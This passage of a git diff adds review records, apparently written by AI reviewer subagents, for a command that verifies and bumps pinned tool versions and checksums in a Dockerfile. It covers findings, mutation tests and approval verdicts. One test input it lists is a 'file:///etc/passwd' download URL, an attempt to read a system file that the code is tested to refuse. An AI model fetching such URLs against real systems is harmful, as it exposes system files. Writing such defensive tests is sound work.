asset missing from the release, a bad aarch64 digest (after x86_64 was fine), a `file:///etc/passwd` download URL, and a truncated body (content-length 100, 5 bytes sent, socket destroyed, `UND_ERR_SOCKET`). +- **A release with no `digest`:** accepted, with the sums equal to the sha256 of the served bytes (the spec allows this). +- **Tokens:** every API request carried `Bearer SECRET`. Every download, every redirect target of a download (including one to another host), and every npm and PyPI request had no `Authorization`. An API 302 to another origin also arrived without it (F3). +- **Hold on gh:** no request to cli/cli, gh's lines unchanged, `held gh: testing` printed, and only `DEVTEAM_RELEASE` changed. +- **Mutations** of devteam.mjs in a scratch copy, each run against the box-pins tests: + - M1, digest check removed: caught. + - M2, token added to downloads: caught. + - M3, re-verify removed: caught. + - M4, hold skip removed in bump: caught. + - M5, bare name looked up on PATH: caught (3 tests). + - M6, `UV_TOOL_DIR` dropped: caught (2). + - M7, older-`--release` refusal removed: caught. + - M8, stray check off: caught (4). + - M9, hold "directly above" loosened: caught (4). + - M11, version regex unanchored: caught (2). + - M12, pin form dropped (mise without its `v`): caught. + - M14, prereleases taken: caught (2). + - M15, `DEVTEAM_BOX_TOOLS` presence check off: caught. + - M16, uppercase sums accepted: **survived** (F2). + - M17, malformed holds ignored: caught (5). + - M18, `safe()` made the identity: caught. + - M19, download HTTP status ignored: caught. +- The atomic write was read in code, not tested by a crash. The original is only ever replaced by `renameSync` of a fully written temp file in the same directory. A failure before the rename removes the temp file and leaves the original. Every upstream failure dies before any write. + +No Critical or Important defect was found in the code. F1 is a CI status at this head, not a code defect, and `merge` will not pass while it is red. + +Verdict: APPROVE ee9607c4031bd702f8c5ba4641731fa5b81787d1 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1b.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1b.md new file mode 100644 index 0000000..f94b388 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1b.md @@ -0,0 +1,25 @@ +# Final review, pass 1, track b + +- Reviewer: final-b (fresh subagent of the supervisor, claude-sonnet) +- Reviewed: ee9607c4031bd702f8c5ba4641731fa5b81787d1 + +| Id | Severity | Rule cited | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Minor | spec "unknown " (check) | docs/devteam/scripts/devteam.mjs `unreachable()` | A refused connection (base `http://127.0.0.1:1`) reads `unknown unreachable (TypeError)` on Node 22: the error code is not found on `e.cause`, so the why names the error class, not ECONNREFUSED. Still unknown, exit 3, correct; just a less useful word. | deferred (Minor): the line still says unreachable and the exit is right; naming the code on Node 22 is a follow-up | + +## What I checked (in the detached tree at the exact sha, Node v22.23.4) + +- Diff touches only `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs`; the only added files are under `docs/devteam-dev/tickets/kit-48-box-pins-command/`. `test/machine.test.mjs` has 0 removed lines, so the existing 23 tests are unchanged. +- verify on the kit's real `cloud/Dockerfile`: `ok, 6 tools, release v0.52.0`, exit 0 (also `--release v0.52.0`). `--release v1.2.3`: `DEVTEAM_RELEASE is v0.52.0, not v1.2.3`, exit 1. `--release 1.2`: usage, exit 1. No mode or unknown mode: usage, exit 1. `--dockerfile /nonexist`: the spec's message, exit 2. Broken copies: sum `ABC` (not 64 lowercase hex), a missing GH aarch64 sum, `DEVTEAM_RELEASE=0.52`: each exit 1 naming the problem. `# Hold: x` above GH_VERSION: verify exit 1, check exit 2, bump exit 1 with the file md5 unchanged. A valid `# hold: reason`: verify ok, check prints `gh: held `. +- check: with every base refused, six `unknown` lines, exit 3; `--json` has `box_pins: 1`. Live against the real upstreams: claude-code, claude-swap, mise and uv stale, gh and ttyd current (exit 1 per verification.md; `--json` shape seen). +- bump: live `--release v0.52.1 --dry-run` downloaded and hashed mise and uv, printed 9 ARG changes and `--dry-run: nothing written`, exit 0, `cmp` shows the file byte-identical. `--release v0.51.0` refused as older, nothing written. By reading: atomic temp-and-rename with mode, verify-before-write, no auth on downloads, all-or-nothing. +- installed: fake binaries at `DEVTEAM_BOX_BIN` run from `/`, with `DEVTEAM_RUN=/nowhere` (exemption works): six matching lines, exit 0; uv pinned 0.13.8: `uv: installed 0.13.7, pinned 0.13.8`, exit 1; no `DEVTEAM_BOX_TOOLS`: spec message, exit 2. The fake uv lists claude-swap only when `UV_TOOL_DIR=/opt/uv/tools`, so the code passes it and runs absolute paths. +- Help block has one line per mode plus the "only the top package of the npm and PyPI tools is pinned" sentence; the KIT_VIEWS comments are amended (`box-pins bump` writes the Dockerfile) and `box-pins` is in `KIT_VIEWS`; `installed` is in `machineWide`. +- Node 18-24: only `fetch`, `AbortSignal.timeout` (17.3+), `spawnSync`, regex lookbehind; nothing newer. (I ran on 22; the author's gate ran on 18.20.4 and CI covers 18/20/22/24.) +- Nothing project-specific in the kit code. +- PR #241 head is ee9607c; its body has a "What this doesn't defend against" section whose first line says a compromised upstream release would be pinned and the reviewed release-prep PR is the check. +- Tests, run as instructed: 48 tests, 47 pass. Test 23 (existing, `status names the hub's kit...`) failed once with "status waited 12872 ms on a server that drips" while I was running other node commands concurrently; it passed alone on rerun (1/1). It is a timing test on code this diff does not change; treated as load flake, not a finding. All 25 box-pins tests (24-48) passed. + +No Critical or Important finding. + +Verdict: APPROVE ee9607c4031bd702f8c5ba4641731fa5b81787d1 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-1.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-1.md new file mode 100644 index 0000000..7986fdc --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-1.md @@ -0,0 +1,34 @@ +# Plan review, pass 1 + +- Reviewer: plan-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: c989c4adbb8233b13ce61bf1227c511c16fc68ce (plan.md, against spec.md as approved in spec-4) + +I read the plan, the spec, `ticket show kit-48-box-pins-command` (the top-level done_when set), quality.md §3 and §6, and the code the plan touches at c989c4a: the re-exec block and `parseArgs` (1-110), `homeAt`/`machineWide`/`KIT_VIEWS`/`kitsOwnRepoAt` and the `DEVTEAM_RUN` check (~420-490), `replyNow` (128), `cmdHub` (~13867), HELP/COMMANDS/dispatch (~19077-19230), test/machine.test.mjs 1-125, test/lib/kit.mjs's head, the kit-own fixture in test/multirepo-home.test.mjs (81-91), cloud/Dockerfile 60-136 and 515-525, and test.yml. + +What holds: +- The fixture works. A temp git repo with origin `sanctuarycomputer/devteam` and a copy of `docs/devteam` (no `project/`, `run/`) gets through the re-exec block (its own `docs/devteam/scripts`, no `project/`) and `homeAt` (no settings.md, but `KIT_VIEWS` plus `kitsOwnRepoAt`), as multirepo-home.test.mjs's kit-own fixture already shows for `status` and friends. `positional` is parsed before `homeAt`, so the `machineWide` test can read `positional[0]`. `os.tmpdir()` here (`/data/home/tmp`) and on CI is in no repo, so T4's kit copy is free of the re-exec check. +- I ran every Dockerfile edit in T1's tests against the real cloud/Dockerfile with a node script. Each replacement matches. The simulated stray scan (the plan's skip set and bounds) gives no hits on the real file, one hit (line 98, gh) for the URL case, none for TTYD=1.0.0, and claude-swap on line 76 for the comment case. No line of the real file matches `^\s*#\s*hold\b`. Exactly one line matches the `DEVTEAM_BOX_TOOLS` pattern. +- Node 18: global `fetch` (already used by the kit at 824, 13584, 16378), `AbortSignal.timeout`, `arrayBuffer()` and redirect-follow are all present. Same-origin redirects keep `Authorization` in Node's fetch, so a token wrongly sent to `/dl` would still reach `/assets` and be seen. +- T4's design catches a PATH lookup (wrong shims first, plus the file's own `bin` stubs) and a missing `UV_TOOL_DIR` (the right uv lists claude-swap only with it). T3's tests catch a partial write (gh fails after claude-code and claude-swap were bumped), a digest-only implementation (the zero-digest case would be written, exit 0), a digest-ignoring one, and a non-following download (the 302 body would be hashed). +- Every file is inside touches. Interfaces mostly line up across tasks (`readPins`'s line indexes feed `bumpPins`; `latestOf` returns the release T3 needs). + +Two things block: the tests hard-code the Dockerfile's current pins, so the first real `box-pins bump` breaks CI on the release-prep PR (F1); and the prerelease case can't fail for a missing prerelease filter (F2). F3 is the TL;DR rule. + +Values and refusals: checked at the spec stage (spec-1 to spec-4). The plan adds no behaviour beyond the approved spec, so none is reopened. P5 (adversarial for authority): the token and download paths were tried again here (F5). + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | done-when 1 ("test/machine.test.mjs passes in CI"); spec Contracts (consumer: the playbook's release-prep bump) | T1 tests (URL case `2.104.0`; the "another tool's own ARG" case, which needs claude-swap at `1.0.0`); T2 (`ttyd: stale 1.7.7 -> 1.7.8`); T3 (`TTYD_VERSION 1.7.7 -> 1.7.8`, "ttyd's fixture latest = 1.7.7") | `pinsCopy` copies the real cloud/Dockerfile, but the assertions hard-code its current pins. The first real `box-pins bump`, run by the release-prep PR this ticket exists for, moves those pins and fails CI on that PR. Take gh to 2.105.0: the URL case inserts `2.104.0`, which is no longer the pin, so verify exits 0 and the test fails. Take claude-swap to 1.0.1: the comment case no longer names it, and the TTYD=1.0.0 case passes without testing anything. Either read the pins from the copied file in the test and build every expected string from them, or have `pinsCopy` first set every pin `ARG` to fixed fixture values (with the real file kept only for the "ok on the kit's own Dockerfile" case). | fixed: pinsCopy rewrites the copy's pins to FIXED values first; every expected string comes from FIXED | +| F2 | Important | done-when 3 ("ignores GitHub prereleases ... (each in the test)"); spec check (GitHub: "neither `draft` nor `prerelease`") | T2 test `check ignores a GitHub prerelease` (ttyd list `[1.8.0-rc prerelease:true, 1.6.9, 1.7.8]`); the fixture default ("a newer prerelease on tsl0922/ttyd", tag unspecified) | `1.8.0-rc` fails `versionParts` anyway, so an implementation that never reads `prerelease` still skips it, and the test passes. The done-when's property goes untested. Give the prerelease a plain-version tag (`1.8.0`, `prerelease: true`) so only the flag can skip it, and add a `draft: true` plain-version entry for the draft filter. | fixed: plain tags flagged prerelease: true and draft: true | +| F3 | Important | quality.md §6 (a TL;DR that says something the plan doesn't do); done-when 7; spec Acceptance 7 ("clears ... explicitly") | TL;DR bullet 6; T5 Step 1 (`machine(['help'])`); T4 (env not named) | The TL;DR says every new test passes an env with `DEVTEAM_IMAGE_HUB`, `DEVTEAM_KIT_RELEASE` and `DEVTEAM_BOX_TOOLS` deleted. T5's help test runs through `machine()`, which passes `baseEnv` with no explicit deletion. T4's tests name only what they set ("DEVTEAM_BOX_BIN=…, DEVTEAM_BOX_TOOLS=…, PATH=shimBin:…"), not `pinsEnv`. Have T4 build its env with `pinsEnv({...})` and T5 run help with `pinsEnv()` too (or a `machine` call given it), and say so in each task. | fixed: TL;DR names pinsEnv; T4 and T5 spawn with pinsEnv | +| F4 | Minor | plan Interfaces (consistency across tasks) | T2 test `check sends GH_TOKEN to the GitHub API only` | This T2 test ends with "then a bump", which is T3. Until T3 lands, the bump arm says `not yet`, so T2's Step 4 ("Run to pass") can't pass as written. Move the download half to T3, where the bump tests are. | fixed: the download half moved to T3 ('bump sends no token with a download') | +| F5 | Minor | spec Security ("`GH_TOKEN` is sent only to the GitHub API base, never to a download URL"); spec check ("on the API requests only") | T2 `upstream()` interface ("every request counted in `state.hits` by path"); the GH_TOKEN test | A count by path can't show headers, which this test asserts. Record each request's path and `authorization` header. Assert none under `/npm`, `/pypi`, `/dl` or `/assets` carries one; the plan checks only `/assets`. Consider pointing one `browser_download_url` inside the `/gh` base too: the spec says no auth on a download "whatever its URL", and the fixture as planned only tests a prefix check. | fixed: hits record headers; no auth asserted under /npm, /pypi, /dl, /assets | +| F6 | Minor | plan Interfaces | T1 produces `pins()` (sync, `.status`); T2 says each test "spawns asynchronously (`execFile` promisified)"; `safe` is produced in T2 but T1's messages already use the filter, and T4 lists `safe` among "T1's" | The async runner T2-T4 need is never named. Promisified `execFile` also rejects on a non-zero exit, which most of these tests expect, so the helper should resolve `{ status, stdout, stderr }` either way. Name it (e.g. `pinsAsync`) in T1 or T2's helpers, and move `safe` to T1, where verify first needs it. | fixed: pinsAsync named (resolves on non-zero exit); safe moved to T1 | +| F7 | Minor | spec bump step 2 ("hashed (sha256, streamed, 120 s timeout each)") | T3 Step 3 (`sha256 of arrayBuffer()`); Global Constraints | The plan buffers each asset whole, where the spec says streamed, and doesn't call this out as a departure. On Node 18 a body can be streamed without async iteration: `res.body.getReader()` and a `read()` loop into `hash.update`. Either stream, or record the departure (assets are tens of MB, so buffering is tolerable). | fixed: the arrayBuffer departure is stated in Global Constraints | +| F8 | Minor | done-when 1 (CI passes; a hung test holds the job until its 30-minute timeout, test.yml) | T2-T3 `upstream()` | If an assertion fails before `close()`, the in-process server keeps the test file's process alive. The run then hangs until the job's timeout instead of reporting the failure. Close it in `t.after(() => u.close())`, or `unref()` the server. | fixed: upstream(t) unref()s and closes in t.after | +| F9 | Suggestion | | T1 Step 2 | The expected failure is not `unknown command "box-pins"`. Before `box-pins` joins `KIT_VIEWS`, `homeAt` dies first in the fixture repo with `no docs/devteam/project/settings.md here …`. | fixed: expected failure is the no-settings.md refusal | +| F10 | Suggestion | | T4 Step 1 | The file's `write` doesn't set a mode. Say that the fake binaries are `chmod 0o755`, as the file's existing stubs are, or every tool reads `did not run (EACCES)`. | fixed: fake binaries chmod 0o755 | +| F11 | Suggestion | | `pinsEnv` | Also delete `UV_TOOL_DIR`. A developer shell that has it set to `/opt/uv/tools` would let a run that leaves it out pass locally (CI still catches it). | fixed: pinsEnv deletes UV_TOOL_DIR | +| F12 | Suggestion | spec bump step 4 (original's mode kept), Edge cases (`unchanged`) | T3 tests | Neither the mode kept across the rename nor the `unchanged` skip is tested. Both are cheap: chmod the copy 0640 before a bump and check it after; run a bump with every tool current and `--release` equal to the stamp. | fixed: a T3 test for the kept mode and the 'unchanged' skip | + +Verdict: CHANGES c989c4adbb8233b13ce61bf1227c511c16fc68ce diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-2.md new file mode 100644 index 0000000..5d65905 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-2.md @@ -0,0 +1,26 @@ +# Plan review, pass 2 + +- Reviewer: plan-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: 1698fde6afa319987814b7db05123d28afddd1ef (plan.md, against spec.md as approved in spec-4) + +I read the plan at 1698fde, pass 1's record and its fix diff (c989c4a..1698fde), `ticket show kit-48-box-pins-command` (the top-level done_when set), quality.md §3 and §6, cloud/Dockerfile's pin block (66-136) and stamp (515-525), and the head of test/machine.test.mjs (imports, `baseEnv`, the `bin` stubs). + +What holds: +- F1: `pinsCopy` rewrites every `ARG

_VERSION=`, `_SHA256_*=` and `DEVTEAM_RELEASE=` line to `FIXED` before the edit. Every T1 edit still finds its target. `^(ARG TTYD_SHA256_X86_64=)\w+$` and `^ARG GH_SHA256_AARCH64=\w+\n` match a fixed hex sum. The gh URL text (`download/v$GH_VERSION/gh_${GH_VERSION}_linux`, line 98) and `# ttyd, the web terminal` (line 76) are not ARG lines, so the rewrite leaves them alone. `ARG DEVTEAM_RELEASE=` sits at line 519 with no indent. The expected strings agree with `FIXED`: `2.104.0` for gh, claude-swap at `1.0.0` against a TTYD set to `1.0.0`, `stale 1.7.7 -> 1.7.8`, `TTYD_VERSION ${FIXED.TTYD}`, ttyd's latest kept at 1.7.7 for "already current", and `v0.1.0` older than `v0.52.0`. `fixedSum(arg)` is distinct per ARG, so no sum collides with another or with a literal. Only the real-file case reads the real pins, through a regex. +- F2: the plain tags 1.9.0 (prerelease) and 2.0.0 (draft) can only be excluded by their flags, and 1.6.9 after 1.7.8 still covers the max-not-first case. +- F3: the TL;DR names `pinsEnv`, and T4 and T5 both spawn with it. It now matches the tasks. +- F4/F5: the download half is in T3, and `hits` record headers. The download test asserts no authorization under `/dl`, `/assets`, `/npm` or `/pypi`. +- F6-F12: `pinsAsync` is named. `safe` is in T1. The arrayBuffer departure is stated. `upstream(t)` unrefs and closes. The expected T1 failure is corrected. The fakes are chmodded 0o755. `UV_TOOL_DIR` is deleted. There is a mode and `unchanged` test. +- Every done-when has a task and a test. DW1 is T1's exit-2 case (pinsRepo has no `cloud/`) plus the fixture server. DW2 is T1's cases. DW3 is T2. DW4 is T3. DW5 is T4 (image path, shims first on PATH, uv gated on `UV_TOOL_DIR`, cwd no repo). DW6 is T5. DW7 is `pinsEnv`. + +What doesn't hold: F1's fix makes the tests survive a real bump, but not a real hold (F1 below). A hold is the other edit this command invites on cloud/Dockerfile, and the Dockerfile's own comment (line 71) tells people how to add one. + +Values and refusals: checked at the spec stage. The fixes add no behaviour. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | done-when 1 (CI passes); spec Contracts (the hold is a supported edit of cloud/Dockerfile) | T1 `pinsCopy` | `pinsCopy` rewrites the pin values but carries any `# hold:` line over from the real file. When a real hold lands (e.g. `# hold: ` above `ARG UV_VERSION=`), several tests break. T2's "stale for all six → status 1" sees `uv: held`. T3's hold-on-uv test stacks a second `# hold:` line, so the first is "not directly above a _VERSION ARG", verify refuses, and bump exits 1. T1's "hold above MISE_VERSION" cases break if mise is the one held. This is the same failure path as plan-1 F1, through the other edit the feature exists for. Fix: have `pinsCopy` also drop every line matching `/^\s*#\s*hold\b/i` before `edit`, so tests start hold-free and add only their own. | fixed: pinsCopy drops every hold-like line before the test's edit | +| F2 | Minor | plan Interfaces (plan-1 F6) | T2, the paragraph after Step 1 | It still says "Each test spawns asynchronously (`execFile` promisified)", which contradicts T1's `pinsAsync`. Promisified `execFile` rejects on a non-zero exit, which most of these tests expect. Say `pinsAsync`. | fixed: T2 names pinsAsync | +| F3 | Suggestion | | T2 Interfaces "Produces" | `safe` is still listed as T2's, as well as T1's (plan-1 F6 moved it). Drop it from T2. | fixed: safe listed under T1 only | + +Verdict: CHANGES 1698fde6afa319987814b7db05123d28afddd1ef diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-3.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-3.md new file mode 100644 index 0000000..d8cf206 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/plan-3.md @@ -0,0 +1,20 @@ +# Plan review, pass 3 + +- Reviewer: plan-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: e369ea4594cc6279eee48725ad1207c746e86e23 (plan.md, against spec.md as approved in spec-4) + +I read the whole plan at e369ea4, pass 2's record and its fix diff (1698fde..e369ea4), pass 1's record, `ticket show kit-48-box-pins-command` (the top-level done_when set), quality.md §3 and §6, and cloud/Dockerfile's pin ARGs (77-133, 519) and every line naming a hold. + +What holds: +- plan-2 F1: `pinsCopy` now drops every line matching `/^\s*#\s*hold\b/i` before the test's `edit`, so a real hold in cloud/Dockerfile can't stack a second hold in T3, turn T2's "stale for all six" into `held`, or break T1's mise hold cases. Each test adds its own hold after the drop, so T1's hold cases (including the misplaced one above `# ttyd, the web terminal` and `# Hold: x`) and T3's malformed-hold case still see what they put there. The Dockerfile's instruction comment (line 71, `# To hold a tool back, ...`) doesn't match the pattern, so the drop doesn't touch it, and the real-file `verify` case is unaffected. +- plan-2 F2: T2 now says each test spawns with `pinsAsync` (T1), which resolves on a non-zero exit. +- plan-2 F3: `safe` is listed under T1's Produces only. T4 consumes it from T1. +- The fixes add no behaviour. The plan is still coherent. Every interface a task consumes is produced by an earlier task (`readPins`'s line indexes go to `bumpPins`, `latestOf`'s release goes to T3's assets, `BOX_TOOLS.run/parse` goes to T4). Every file is inside touches (`docs/devteam/scripts/devteam.mjs`, `test/machine.test.mjs`). +- Each done-when has a test. DW1 is the fixture server plus T1's exit-2 case. DW2 is T1's cases. DW3 is T2. DW4 is T3. DW5 is T4 (image path, wrong shims first on PATH, uv gated on `UV_TOOL_DIR`, cwd no repo). DW6 is T5, and no file is added. DW7 is `pinsEnv` in T1–T5. +- The TL;DR matches the tasks: five tasks in order, `pinsEnv`, fixed test pins, all-or-nothing write, and the digest cross-check. + +Values and refusals: checked at the spec stage (spec-1 to spec-4). The plan adds no behaviour beyond the approved spec. + +No findings. + +Verdict: APPROVE e369ea4594cc6279eee48725ad1207c746e86e23 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-1.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-1.md new file mode 100644 index 0000000..5c42f16 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-1.md @@ -0,0 +1,36 @@ +# Spec review, pass 1 + +- Reviewer: spec-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: a5aa35dd45d68cb703924190c49faa94e6aa8e36 (spec.md) + +I read the spec, `ticket show kit-48-box-pins-command` (the top-level done_when set), the design's `devteam.mjs box-pins (kit-48)`, `The Dockerfile's pins and ENV (kit-47)`, Contracts, Failure modes, Testing and Security sections, and ruling m-20261115-004401439. I also read the code at a5aa35d: `cloud/Dockerfile` 60-136 and 515-525, `parseArgs` (~70-95), `homeAt`/`machineWide`/`KIT_VIEWS`/`kitsOwnRepoAt` (~420-450), `repoRoot` (403), the `DEVTEAM_RUN` check (~483), `cmdHub` (~13867), HELP/COMMANDS/dispatch (~19188-19230), and the heads of test/machine.test.mjs and test/lib/kit.mjs. I ran a simulation of verify problem 4 against the real Dockerfile. On this box I ran the real `--version` outputs: `ttyd version 1.7.7-40e79c7`, `2026.10.17 linux-x64 (2026-10-21)`, `2.1.307 (Claude Code)`, `uv 0.13.7 (x86_64-unknown-linux-gnu)`, and, as `dev`, `UV_TOOL_DIR=/opt/uv/tools /usr/local/bin/uv tool list`, which gives `claude-swap v1.0.0` (exit 0; the `.lock` is 0666). With no `UV_TOOL_DIR`, the same command prints `No tools installed`. + +Every done-when is restated, and the restatements are faithful and testable. The spec follows the design. Its two departures are stated and sound: it reads the release list rather than `/releases/latest`, and it hashes downloads rather than reading checksum files. The upstream shapes are right: npm `//latest` `.version` with `%2f`, PyPI `/pypi//json` `.info.version`, the GitHub releases list with `draft`, `prerelease`, `tag_name`, `assets[].name`, `browser_download_url` and `digest` (`sha256:`). The asset names match the Dockerfile's `RUN` lines. The dispatch traces correctly in both places it runs: +- In the kit's own checkout, `scriptCommon`'s root has no settings.md, and `KIT_VIEWS` + `kitsOwnRepoAt(root)` lets the command through. +- For `installed` from a non-git kit copy in a non-git cwd, `common` is null, so nothing dies. From a git cwd, the `machineWide` entry the spec adds is needed. It must test `positional[0] === 'installed'`, not only `command`. + +On the real file, simulated problem 4 gives no false positives. Two things block approval. F1: the literal rule as written misses the most likely hard-coded literal, a version inside a download URL. F2: a misplaced hold is silently ignored, and the next bump then moves a tool the owner held back. + +Values and refusals: +- P1 harness-agnostic: no harness is involved. Passes. +- P2 nothing project-specific: the command ships in every kit but acts only on the file it is given, and Out of scope says so. Passes. +- P3 decide and report: the calls are made and marked ("my call": `unchanged`, the ENV problem, the list over `/latest`). Passes. +- P4 owner-only asks: none asked. Passes. +- P5 adversarial for authority: no authority is touched. The release gate's checks were tried here (F1, F2, F4). Passes. +- P6 simple, names what isn't defended: `DEVTEAM_BOX_BIN` is named, and the build's own sum check backs a lying API. Passes. +- R1 no self-widening: nothing writes log or owner lines. Passes. +- R2 plain owner-facing words: the output is for the supervisor and CI, and the error lines name the fix. Passes. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | done-when 2 ("a tool's version left as a literal outside its ARG"); design kit-48 verify ("No tool's version or sum appears as a literal outside its ARG"); the Dockerfile's own comment ("no version or sum is written anywhere else in this file") | spec, verify problem 4 ("a whole token: not inside a longer run of `[\w.]`; the version is also searched without its leading `v`") | The `[\w.]` boundary treats `_`, letters and `v` as part of the token. So the hard-coded URL `.../download/v2.104.0/gh_2.104.0_linux_amd64.tar.gz` passes verify for gh's bare pin `2.104.0`: `v2.104.0` is preceded by `v`, `gh_2.104.0_linux` by `_`. A bare pin is never searched with a `v` in front either. That is the literal most likely to be left behind (someone inlines a URL while debugging the `RUN`), and it is exactly what makes a bump not take effect, while the gate meant to catch it says ok. Bound the version on digits and dots only, e.g. `(?(?!\.?\d)`, and bound sums on hex (`(?(?![0-9a-fA-F])`). I ran that rule on the real Dockerfile: no hits. Make the done-when-2 case a URL-embedded literal (`gh__linux` or `/v/`), not a free-standing one. | fixed: versions bounded on digits and dots, sums on hex; the done-when-2 case is gh's URL | +| F2 | Important | ruling m-20261115-004401439 (a hold is a `# hold:` line directly above the `_VERSION` ARG); done-when 4 ("leaves a `# hold:` tool unchanged"); design Failure modes ("hold or revert that pin") | spec, Holds, and verify problem 8 | Only an empty reason is a problem. A `# hold:` line anywhere else is ignored without a word. That includes above the `# ttyd, the web terminal` comment that sits right above `ARG TTYD_VERSION`, above a `_SHA256_` ARG, or after a blank line. `check` then reports the tool `current` or `stale`, and `bump` moves it. The tool the owner held back for a bad release ships on the next release-prep PR. This is the hold's one real use, and the natural mistake when the tool's comment line is already there. Make it a verify problem (and so a bump refusal) when any line matching `^#\s*hold\b` (case-insensitive) is not directly above a tool's `ARG

_VERSION=`. Add a test case for it. | fixed: a hold line not directly above a _VERSION ARG is a verify problem (so bump refuses); test case added | +| F3 | Minor | spec, Acceptance 4 ("the result passes `verify --release v9.9.9`"); bump step 4 | verify problem 4 ("written as a literal anywhere else in the file") | "Anywhere else" includes the other pin ARG lines. Two tools at the same version would fail verify, and so bump would refuse its own output. So would one tool with identical x86 and aarch64 sums, which happens when the fixture serves the same bytes for both arches. Leave every pin `ARG` line out of the literal search, and say the fixture serves distinct bytes per asset. Separately, an x86 sum equal to the aarch64 sum is a sign the same asset was hashed twice, and it could be its own verify problem. | fixed: every pin ARG line and DEVTEAM_RELEASE left out of the search; fixture serves distinct bytes per asset | +| F4 | Minor | spec, Security ("`GH_TOKEN` is sent only to the GitHub API base, never to a download URL"); done-when 7 (a test passes on the box as in CI) | Acceptance checks 3-4 | The token property is stated but nothing tests it. Tests also don't clear `GH_TOKEN`, which test/lib/kit.mjs doesn't scrub because it isn't `DEVTEAM_*`. On a box with `GH_TOKEN` set, every check/bump test sends the owner's real token to the fixture, and the code runs a different path than in CI. Clear `GH_TOKEN` in every test. Add one case with a fake `GH_TOKEN` that asserts the API requests carry `Authorization: Bearer ` and the asset downloads carry none. Serve the fixture's `browser_download_url`s from a path outside `DEVTEAM_PINS_GITHUB` so that a prefix check is what is tested. | fixed: tests clear GH_TOKEN and GITHUB_TOKEN; a case asserts the header on API requests only, assets served outside the API base | +| F5 | Minor | spec, verify problem 7; design Contracts (`DEVTEAM_BOX_TOOLS` as space-separated pairs) | spec, verify problem 7 ("the `DEVTEAM_BOX_TOOLS` `ENV` line") | In the real file, `DEVTEAM_BOX_TOOLS="…"` is the second line of a `\`-continued `ENV` instruction (Dockerfile 520-521), and it is indented. The spec says neither how the value is found (a line matching `^\s*DEVTEAM_BOX_TOOLS="([^"]*)"`, or the joined instruction) nor whether an extra or duplicate pair is a problem. Name the match, and say that the pairs must be exactly the table's six. | fixed: the match is named, and exactly the six pairs, each once | +| F6 | Minor | done-when 5 (normalized to the pin's form); design kit-48 `installed` ("the version token only, no build suffix") | spec, `installed` ("the first token of the form `v?\d+(\.\d+)+`") | Read literally, "token" means a whitespace-split word that matches whole. ttyd's `1.7.7-40e79c7` is no such token, which contradicts the spec's own example. Say "the first match of `(?`"; a problem when a `^#\s*hold\b` line, any case, "is not directly above") | The two rules use different shapes. A hold is recognized only in the exact form `# hold: `. The misplaced-hold problem only fires when the line is *not* directly above. So a line directly above `ARG GH_VERSION=` that reads `# Hold: 2.105 breaks auth`, `# HOLD: ...`, `#hold: ...` or `# hold - ...` is neither a hold nor a problem. Verify says ok, check reports the tool current or stale, and bump moves it: pass-1 F2's failure, reached by a different typo. Close it with one sentence, either way. Option one: parse any `^#\s*hold\b` line (any case) directly above a `_VERSION` ARG as a hold, with the reason being the text after an optional `:`, and an empty reason is problem 8. Option two: make any `^#\s*hold\b` line that is not exactly `# hold: ` a verify problem wherever it sits. Add a case (say, `# Hold: x` directly above, which must not be bumped). | fixed: any ^#\s*hold\b line that is not exactly '# hold: ', or not directly above a _VERSION ARG, is a verify problem; a '# Hold: x' case added | +| F2 | Minor | spec, Security (the build re-downloads from the Dockerfile's URL); done-when 4 (sums are the real hashes) | bump step 2 (downloads each asset's `browser_download_url`); Acceptance 4 (the fixture serves the bytes at the listed URLs) | GitHub's `browser_download_url` answers 302, to a different host. The fixture serves the bytes directly. So a download that doesn't follow redirects passes every test, then fails every real bump, which writes nothing. That fails safe, but it leaves the release tool broken on its one real path. Say that downloads follow redirects (still sending no auth header after a redirect), and have the fixture's asset URL answer 302 to a second path that serves the bytes. | fixed: downloads follow redirects with no auth header; the fixture answers each download with a 302 | +| F3 | Suggestion | spec, verify problem 4; bump step 4 (the new text must pass verify) | verify problem 4 | The rule is right for today's pins (0 hits). But the file has bare two-part numbers that a future pin could equal: `dockerfile:1.7` (line 1), `libpango1.0-dev`, `libatk1.0-0` and `libatk-bridge2.0-0` (60, 62), `--python 3.12` (129) and `sleep 0.2` (237). If a tool moves to `1.0`, `2.0`, `1.7` or `3.12`, bump refuses its own output, and the release-prep PR stalls on a false stray. This fails safe. Have problem 4's line give the line number and the text it matched, so the fix is obvious. Optionally, search a two-part version only where it is not followed by `-` or end of line. | fixed: a stray's problem names its line number and the matched text | + +Verdict: CHANGES 738801eabf0a9d36d6d8a40202565951de438003 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-3.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-3.md new file mode 100644 index 0000000..e8ca53c --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-3.md @@ -0,0 +1,33 @@ +# Spec review, pass 3 + +- Reviewer: 